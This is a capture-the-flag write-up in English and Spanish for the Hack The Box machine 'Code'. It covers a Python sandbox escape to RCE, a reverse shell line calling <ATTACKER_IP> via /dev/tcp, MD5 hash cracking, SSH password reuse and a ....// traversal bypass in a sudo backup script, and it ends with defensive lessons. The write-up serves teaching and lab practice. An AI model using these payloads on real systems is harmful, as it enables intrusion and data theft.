Code
Executive summary — Code is an Easy Linux box whose entry point is an online Python code editor (Flask on Gunicorn) that runs your input after filtering it through a keyword blocklist. We escape the sandbox by pulling the already-loaded modules from
globals()and usinggetattr()to reachos.popenwithout ever writing the forbidden words literally (RCE). The application's SQLite database holds unsalted MD5 hashes; we crackmartin's and log in over SSH. Root comes from asudoNOPASSWD entry onbacky.sh, a backup wrapper whose anti-traversal filter (../) does a single pass and is bypassed with....//to archive the whole of/root. Path: web sandbox → RCE → SQLite → SSH → backy.sh → root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.10.11.62 |
Attack map
[5000/HTTP] "Python Code Editor" (Flask + Gunicorn)
│ runs Python with a keyword BLOCKLIST (import, os, eval…)
│ sandbox escape: globals()['o'+'s'] + getattr() → os.popen
▼
[RCE] shell as app-production
│ SQLite instance/database.db → MD5 hashes (development, martin)
│ crack martin → nafeelswordsmaster
▼
[SSH] martin (user.txt)
│ sudo -l → NOPASSWD /usr/bin/backy.sh
│ «../» filter bypassed with «....//» → archive /root
▼
[ROOT]
1. Recon
As usual, we start with a full sweep of all 65535 TCP ports, then a targeted script and version scan on whatever comes back open:
nmap -p- --min-rate 10000 10.10.11.62
nmap -p22,5000 -sCV 10.10.11.62
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
5000/tcp open http Gunicorn 20.0.4
--min-rate 10000 forces nmap to send packets at a high minimum rate so sweeping the entire port range doesn't take forever; -sCV is shorthand for -sC -sV (default NSE scripts + version detection) run only against the ports we already know are open.
Only two ports: SSH (no credentials yet, so not the entry vector) and an HTTP service on 5000 served by Gunicorn, the production WSGI server typical of Python/Flask apps (the Flask dev server normally isn't fronted by Gunicorn on port 5000). The whole foothold necessarily goes through 5000.
Resumen ejecutivo — Code es un Linux Easy cuyo punto de entrada es un editor de código Python online (Flask sobre Gunicorn) que ejecuta lo que escribes tras filtrarlo con una lista negra de palabras. Se escapa del sandbox accediendo a los módulos ya cargados con
globals()ygetattr()para llegar aos.popensin escribir jamás las palabras prohibidas de forma literal (RCE). En la base de datos SQLite de la aplicación hay hashes MD5 sin sal; se crackea el demartiny se entra por SSH. El root llega por unsudoNOPASSWD abacky.sh, un envoltorio de backups cuyo filtro anti-traversal (../) hace una única pasada y se esquiva con....//para archivar/rootcompleto. Recorrido web sandbox → RCE → SQLite → SSH → backy.sh → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.10.11.62 |
Mapa del ataque
[5000/HTTP] "Python Code Editor" (Flask + Gunicorn)
│ ejecuta código Python con una BLOCKLIST de palabras (import, os, eval…)
│ escape del sandbox: globals()['o'+'s'] + getattr() → os.popen
▼
[RCE] shell como app-production
│ SQLite instance/database.db → hashes MD5 (development, martin)
│ crack de martin → nafeelswordsmaster
▼
[SSH] martin (user.txt)
│ sudo -l → NOPASSWD /usr/bin/backy.sh
│ filtro «../» esquivable con «....//» → archivar /root
▼
[ROOT]
1. Reconocimiento
Como siempre, empezamos con un barrido completo de los 65535 puertos TCP y, después, un escaneo dirigido de scripts y versiones sobre los que aparecen abiertos:
nmap -p- --min-rate 10000 10.10.11.62
nmap -p22,5000 -sCV 10.10.11.62
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
5000/tcp open http Gunicorn 20.0.4
--min-rate 10000 obliga a nmap a enviar paquetes a un ritmo mínimo alto para que el barrido de todo el rango de puertos no se eternice; -sCV es el atajo de -sC -sV (scripts NSE por defecto + detección de versión) aplicado solo a los puertos que ya sabemos que están abiertos.
Solo dos puertos: SSH (sin credenciales aún, así que no es el vector de entrada) y un servicio HTTP en el 5000 servido por Gunicorn, el WSGI de producción típico de aplicaciones Python/Flask (el
flask runde desarrollo no suele ir en el puerto 5000 detrás de Gunicorn). Todo el ataque de entrada pasará, necesariamente, por el 5000.
2. The Python code editor and its blocklist
The site is a “Python Code Editor”: a text box in the browser where you write code, and a button that sends it to the server, runs it, and prints the output back. It's the classic pattern of online code “playgrounds” or “judges” (think Judge0-style tools or interactive documentation editors): running whatever an anonymous user types is, by definition, a huge attack surface, so the app tries to contain it by filtering certain words before executing anything.
Testing with snippets that contain Python's typically dangerous tokens confirms there's a blocklist: whenever the submitted code contains one of those tokens, the editor refuses to run it. Among the blocked words are at least:
import os subprocess open eval exec __builtins__ __import__
Why this isn't enough: filtering the source text for certain strings is a surface-level control, not a real sandbox. It does nothing at the interpreter level; it only stops those words from appearing literally and contiguously in what we type. If the forbidden name is built at runtime —or fetched from a place where it already exists, instead of being typed out—, the filter never sees it.
3. Sandbox escape → RCE
The key clue: the application process itself has already run import os (for its own internal needs) before executing our code, so the os module already lives in the interpreter's global namespace. We don't need import —which is blocked—: we can grab it straight out of the dictionary returned by globals().
One problem remains: to read that dictionary entry and to call the method we want, we have to write the strings "os" and "popen". If the filter is looking for those words as a substring of the code we send, typing them as-is would give us away. The fix is to split them into pieces and concatenate them at runtime:
data = getattr(globals()['o'+'s'], 'p'+'open')('id').read()
# globals() exposes the modules already loaded by the app (incl. os);
# 'o'+'s' and 'p'+'open' keep the literal words 'os'/'popen' off the source.
Why it works exactly: in the source text we send, the characters
oandsare never adjacent —they're separated by quotes and a+sign—, so a search for the literal substring"os"(or"popen") finds nothing. The actual concatenation only happens after the filter has already approved the submission, once the interpreter evaluates the expression.getattr()then does exactly whatos.popenwould do if we could write it directly: it spawns a subprocess, runs the command, and returns its output.
With the technique confirmed (id returns the user the service runs as), we fire a full reverse shell instead of one-off commands. Start a listener and run the payload in the editor:
nc -lvnp 443
getattr(globals()['o'+'s'], 'p'+'open')('bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1"').read()
whoami → app-production
app-productionis a service account, not a human system user: it confirms we're inside the Gunicorn/Flask process, running commands with whatever privileges that account has — no more, no less.
4. Loot: the SQLite database
The Flask app stores its state in a local SQLite database inside the instance/ folder —Flask's standard convention for files that shouldn't ship alongside the application code (databases, local config, secrets)—. We locate it and dump the users table:
find / -name '*.db' 2>/dev/null
sqlite3 /home/app-production/app/instance/database.db 'select username,password from user;'
development|759b74ce43947f5f4c91aeddc3e5bad3
martin|3de6f30c4a09c27fc71932bfc68474be
Two application accounts with their hashed passwords. Only one matters to us:
martinmatches the name of a system user with SSH access, so it's the one that can take us from an application-level shell to a real one.
5. Cracking the MD5 hashes
The hashes are 32 hex characters long: they're MD5, and unsalted (no random value mixed in before hashing). That makes them especially weak: MD5 computes at a brutal rate on GPUs, and without a salt, any leaked-password wordlist cracks them in seconds as long as the password is reasonably common.
hashcat -m 0 -a 0 3de6f30c4a09c27fc71932bfc68474be /usr/share/wordlists/rockyou.txt
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster
-m 0 tells hashcat the format is raw MD5; -a 0 picks a straight dictionary attack against rockyou.txt, the most widely used leaked real-password wordlist for this kind of challenge.
6. SSH access and user flag
martin's freshly cracked password turns out to be the same one on the operating system —password reuse between the application layer and the Unix account, a common failure when development and sysadmin share credentials—. We reuse it straight over SSH:
ssh martin@10.10.11.62 # nafeelswordsmaster
cat user.txt
That closes out the first half of the box: from a public-facing Python code form we've reached a legitimate interactive session on the system.
7. Privilege escalation — auditing sudo
First thing after landing a user, always: check what it can run with sudo with no further questions asked.
sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
Translation:
martincan run/usr/bin/backy.shas any user (including root) and without being asked for a password. If that script has any weakness that accepts input we control, it's the direct path to root.
backy.sh wraps backy, a Go backup utility. It takes a task.json file listing the directories to archive. Since accepting arbitrary user-supplied paths while running as root is dangerous on its own, the script tries to neutralise path traversal by stripping ../ sequences with jq before invoking the real binary:
#!/bin/bash
# /usr/bin/backy.sh (extracto): intenta neutralizar el path traversal
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/backy "$json_file" # ← runs the ORIGINAL JSON, not the sanitised one
8. Breaking backy.sh's anti-traversal filter
The bug:
gsubmakes a single left-to-right pass, replacing every../match it finds at that moment —but it never rescans the result to check whether the substitution itself created a new match. On top of that, and this is what actually seals the deal,backyis invoked afterwards using the original$json_file, not the sanitised variable: the sanitised value gets computed, but never actually gets used.
If we write ....// (four dots and two slashes), the ../ pattern does appear once, right in the middle of that string, and that single match gets deleted. What's left once the surrounding pieces are joined back together is, once again, ../:
string written in the JSON: "....//"
the jq filter locates the "../" pattern ONCE, in the middle, and deletes it
what remains after "sanitizing": "../" ← the very pattern we wanted removed, reassembled
A classic single-pass substitution bypass: write the forbidden pattern “doubled up” so that once the middle copy is deleted, the original is reassembled. Chaining several ....// blocks climbs as many directory levels as we need. We craft a task.json that, with that trick, points at /root:
{
"destination": "/tmp/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//....//root"
]
}
sudo /usr/bin/backy.sh task.json
Since the sanitised value never actually gets applied, backy receives the path with the traversal fully intact and, running as root, produces the compressed archive with the complete contents of /root in /tmp/backups/.
9. Root flag
We extract the archive and read the flag; along the way, root's private SSH key travelling inside the backup gives us a stable shell without depending on backy.sh on every access:
cd /tmp/backups
tar xjf code_home_.._.._root_*.tar.bz2
cat root/root.txt
# optional: ssh -i root/.ssh/id_rsa root@10.10.11.62
Box fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Web | Python editor (Flask/Gunicorn) | Sandbox implemented as a source-text keyword blocklist | Escape via globals()/getattr → RCE as app-production |
| Loot | SQLite instance/database.db | Unsalted MD5 user passwords | martin's credential recoverable offline in seconds |
| Access | SSH (martin) | App password reused on the system account | Interactive shell + user.txt |
| PrivEsc (config) | sudoers | NOPASSWD: ALL on /usr/bin/backy.sh | Any user can invoke the backup tool as root with no password |
| PrivEsc (bypass) | backy.sh / jq gsub | Single-pass, non-recursive ../ removal (....//) | Archive all of /root → root.txt + root's SSH key |
Lessons learned
- A word blocklist is not a sandbox: filtering source text doesn't stop forbidden names from being built at runtime or pulled from a namespace that already contains them (
globals()). Running untrusted code needs real isolation —an unprivileged container, seccomp, a genuinely restricted interpreter (noteval/execbehind a filter)—, not a token list. - Never store passwords as MD5 (or any fast, unsalted hash): with a GPU and rockyou they fall in seconds. Use bcrypt, scrypt, or argon2, which are designed to be slow.
- Don't reuse passwords between the application layer and operating-system accounts: a database dump shouldn't automatically translate into SSH access.
- Sanitise recursively, or better, canonicalise the path (
realpath) and validate against an allowlist: a single-pass../replacement can always be dodged by duplicating the pattern around the copy that gets deleted. - Beware
sudo NOPASSWDon scripts that accept user input: a backup binary that runs as root and processes paths it didn't generate itself is a straight line to reading —or exfiltrating— any file on the system. - Audit what actually gets executed, not just what gets validated: the bug in
backy.shisn't really in the filter itself, it's that its result is never used. A reminder to audit the full data flow, not just the sanitisation step.
2. El editor de código Python y su lista negra
El sitio es un «Python Code Editor»: una caja de texto en el navegador donde se escribe código y un botón que lo envía al servidor, lo ejecuta y devuelve la salida por pantalla. Es el patrón clásico de los «playgrounds» o «judges» de código online (piénsese en herramientas tipo Judge0 o los editores interactivos de documentación): ejecutar lo que sea que escriba un usuario anónimo es, por definición, una superficie de ataque enorme, así que la aplicación intenta contenerlo filtrando ciertas palabras antes de ejecutar nada.
Probando con fragmentos que contienen los tokens típicamente peligrosos de Python, se confirma que hay una lista negra: cada vez que el código enviado contiene alguno de esos tokens, el editor rechaza la ejecución. Entre las palabras bloqueadas están, al menos:
import os subprocess open eval exec __builtins__ __import__
Por qué esto no basta: filtrar el texto fuente en busca de ciertas cadenas es un control superficial, no un sandbox real. No impide nada a nivel del intérprete; solo impide que esas palabras aparezcan literalmente y juntas en lo que escribimos. Si el nombre prohibido se construye en tiempo de ejecución —o se recupera de un sitio donde ya existe, en lugar de escribirse—, el filtro nunca lo ve.
3. Escape del sandbox → RCE
La pista clave: el propio proceso de la aplicación ya ha hecho import os (para sus propias necesidades internas) antes de ejecutar nuestro código, así que el módulo os ya vive en el espacio de nombres global del intérprete. No necesitamos import —que está bloqueado—: podemos recuperarlo directamente del diccionario que devuelve globals().
Queda un problema: para leer esa entrada del diccionario y para llamar al método que queremos, hay que escribir las cadenas "os" y "popen". Si el filtro busca esas palabras como subcadena en el texto que enviamos, escribirlas tal cual nos delataría. La solución es partirlas en trozos y concatenarlas en tiempo de ejecución:
data = getattr(globals()['o'+'s'], 'p'+'open')('id').read()
# globals() da acceso a los módulos ya cargados por la app (incl. os);
# 'o'+'s' y 'p'+'open' evitan que aparezcan las palabras 'os'/'popen' literales.
Por qué funciona exactamente: en el texto fuente que enviamos, los caracteres
oysnunca quedan uno junto al otro —están separados por comillas y un signo+—, así que una búsqueda de la subcadena literal"os"(o"popen") no encuentra nada. La concatenación real solo ocurre después, cuando el intérprete evalúa la expresión, momento en el que el filtro ya ha dado el visto bueno.getattr()hace entonces lo que haríaos.popensi pudiéramos escribirlo directamente: abre un subproceso, ejecuta el comando y devuelve su salida.
Con la técnica confirmada (id devuelve el usuario bajo el que corre el servicio), lanzamos una reverse shell completa en lugar de comandos sueltos. Nos ponemos a la escucha y ejecutamos el payload en el editor:
nc -lvnp 443
getattr(globals()['o'+'s'], 'p'+'open')('bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1"').read()
whoami → app-production
app-productiones una cuenta de servicio, no un usuario humano del sistema: confirma que estamos dentro del proceso Gunicorn/Flask, ejecutando comandos con los privilegios que tenga esa cuenta, ni más ni menos.
4. Botín: la base de datos SQLite
La aplicación Flask guarda su estado en una base de datos SQLite local, dentro de la carpeta instance/ —la convención estándar de Flask para ficheros que no deben ir versionados junto al código de la aplicación (bases de datos, configuración local, secretos)—. La localizamos y volcamos la tabla de usuarios:
find / -name '*.db' 2>/dev/null
sqlite3 /home/app-production/app/instance/database.db 'select username,password from user;'
development|759b74ce43947f5f4c91aeddc3e5bad3
martin|3de6f30c4a09c27fc71932bfc68474be
Dos cuentas de la aplicación con sus contraseñas hasheadas. Solo nos interesa una de ellas:
martincoincide con el nombre de un usuario del sistema con acceso SSH, así que es la que puede llevarnos de una shell aplicativa a una shell real.
5. Crackeo de los hashes MD5
Los hashes tienen 32 caracteres hexadecimales: son MD5, y no llevan salt (ningún valor aleatorio mezclado antes de hashear). Eso los hace especialmente débiles: MD5 se calcula a un ritmo brutal en GPU, y sin sal, cualquier diccionario de contraseñas filtradas los revienta en segundos si la contraseña es medianamente común.
hashcat -m 0 -a 0 3de6f30c4a09c27fc71932bfc68474be /usr/share/wordlists/rockyou.txt
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster
-m 0 le dice a hashcat que el formato es MD5 puro; -a 0 selecciona un ataque de diccionario directo contra rockyou.txt, la wordlist filtrada de contraseñas reales más usada en este tipo de retos.
6. Acceso SSH y flag de usuario
La contraseña recién crackeada de martin es la misma en el sistema operativo —una reutilización de contraseñas entre la capa de aplicación y la cuenta Unix, un fallo habitual cuando development y sysadmin comparten credenciales—. Se reutiliza directamente en SSH:
ssh martin@10.10.11.62 # nafeelswordsmaster
cat user.txt
Con esto cerramos la primera mitad de la máquina: de un formulario de código Python expuesto al público hemos llegado a una sesión interactiva legítima en el sistema.
7. Escalada de privilegios — auditando sudo
Lo primero tras conseguir un usuario, siempre: mirar qué puede ejecutar con sudo sin más preguntas.
sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
Traducción:
martinpuede ejecutar/usr/bin/backy.shcomo cualquier usuario (incluido root) y sin que se pida contraseña. Si ese script tiene algún punto débil que acepte entrada nuestra, es la vía directa a root.
backy.sh es un envoltorio de backy, una utilidad de copias de seguridad escrita en Go. Recibe un fichero task.json con la lista de directorios a archivar. Como aceptar rutas arbitrarias del usuario y ejecutarse como root es peligroso por sí mismo, el script intenta neutralizar el path traversal eliminando las secuencias ../ con jq antes de invocar el binario real:
#!/bin/bash
# /usr/bin/backy.sh (extracto): intenta neutralizar el path traversal
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/backy "$json_file" # ← ejecuta el JSON ORIGINAL, no el saneado
8. Rompiendo el filtro anti-traversal de backy.sh
El fallo:
gsubhace una única pasada de izquierda a derecha, sustituyendo cada coincidencia de../que encuentra en ese momento —pero no vuelve a escanear el resultado por si la propia sustitución ha creado una coincidencia nueva. Además, y esto es lo decisivo,backyse invoca después usando el fichero$json_fileoriginal, no la variable ya saneada: el saneado se calcula, pero nunca se llega a usar de verdad.
Si escribimos ....// (cuatro puntos y dos barras), el patrón ../ sí que aparece una vez, en el centro de esa cadena, y esa única coincidencia se borra. Lo que sobra al unir lo que queda a los lados es, de nuevo, ../:
cadena escrita en el JSON: "....//"
el filtro jq localiza el patrón "../" UNA sola vez, en el centro, y lo borra
lo que queda tras "sanear": "../" ← el propio patrón que queríamos eliminar, reconstituido
Un bypass clásico de sustitución de un solo paso: escribir el patrón prohibido «duplicado» para que, tras borrar el del centro, quede reconstruido el original. Encadenando varios bloques ....// subimos tantos niveles como haga falta. Creamos un task.json que, con ese truco, apunta a /root:
{
"destination": "/tmp/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//....//root"
]
}
sudo /usr/bin/backy.sh task.json
Como el saneado nunca llega a aplicarse de verdad, backy recibe la ruta con traversal íntegra y, corriendo como root, genera el archivo comprimido con el contenido completo de /root en /tmp/backups/.
9. Flag de root
Extraemos el archivo y leemos la flag; de paso, la clave SSH privada de root que viaja dentro del backup nos regala una shell estable sin depender de backy.sh en cada acceso:
cd /tmp/backups
tar xjf code_home_.._.._root_*.tar.bz2
cat root/root.txt
# opcional: ssh -i root/.ssh/id_rsa root@10.10.11.62
Máquina comprometida por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Web | Editor Python (Flask/Gunicorn) | Sandbox implementado como blocklist de palabras en el texto fuente | Escape con globals()/getattr → RCE como app-production |
| Loot | SQLite instance/database.db | Contraseñas de usuario en MD5 sin sal | Credencial de martin recuperable offline en segundos |
| Acceso | SSH (martin) | Reutilización de la contraseña de la app en la cuenta del sistema | Shell interactiva + user.txt |
| PrivEsc (config) | sudoers | NOPASSWD: ALL sobre /usr/bin/backy.sh | Cualquier usuario puede invocar el backup como root sin contraseña |
| PrivEsc (bypass) | backy.sh / jq gsub | Eliminación de ../ en una sola pasada, no recursiva (....//) | Archivar /root íntegro → root.txt + clave SSH de root |
Lecciones aprendidas
- Una blocklist de palabras no es un sandbox: filtrar el texto fuente no impide construir los nombres prohibidos en tiempo de ejecución ni recuperarlos de un espacio de nombres que ya los contiene (
globals()). Para ejecutar código no confiable hace falta aislamiento real —contenedor sin privilegios, seccomp, un intérprete restringido de verdad (noeval/execcon un filtro delante)—, no una lista de tokens. - Nunca guardes contraseñas en MD5 (ni en ningún hash rápido sin sal): con GPU y rockyou caen en segundos. Usa bcrypt, scrypt o argon2, pensados para ser lentos.
- No reutilices contraseñas entre la capa de aplicación y las cuentas del sistema operativo: un volcado de base de datos no debería traducirse automáticamente en acceso SSH.
- Sanea recursivamente o, mejor, valida contra una allowlist tras canonicalizar la ruta (
realpath): un reemplazo de una sola pasada de../siempre se puede esquivar duplicando el patrón alrededor del que se va a borrar. - Cuidado con
sudo NOPASSWDsobre scripts que aceptan entrada del usuario: un binario de backups que corre como root y procesa rutas que no ha generado el propio sistema es una vía directa a leer —o exfiltrar— cualquier fichero. - Revisa lo que de verdad se ejecuta, no solo lo que se valida: el fallo de
backy.shno está en el filtro en sí, sino en que su resultado nunca llega a usarse. Es un recordatorio de que hay que auditar el flujo de datos completo, no solo el paso de saneado.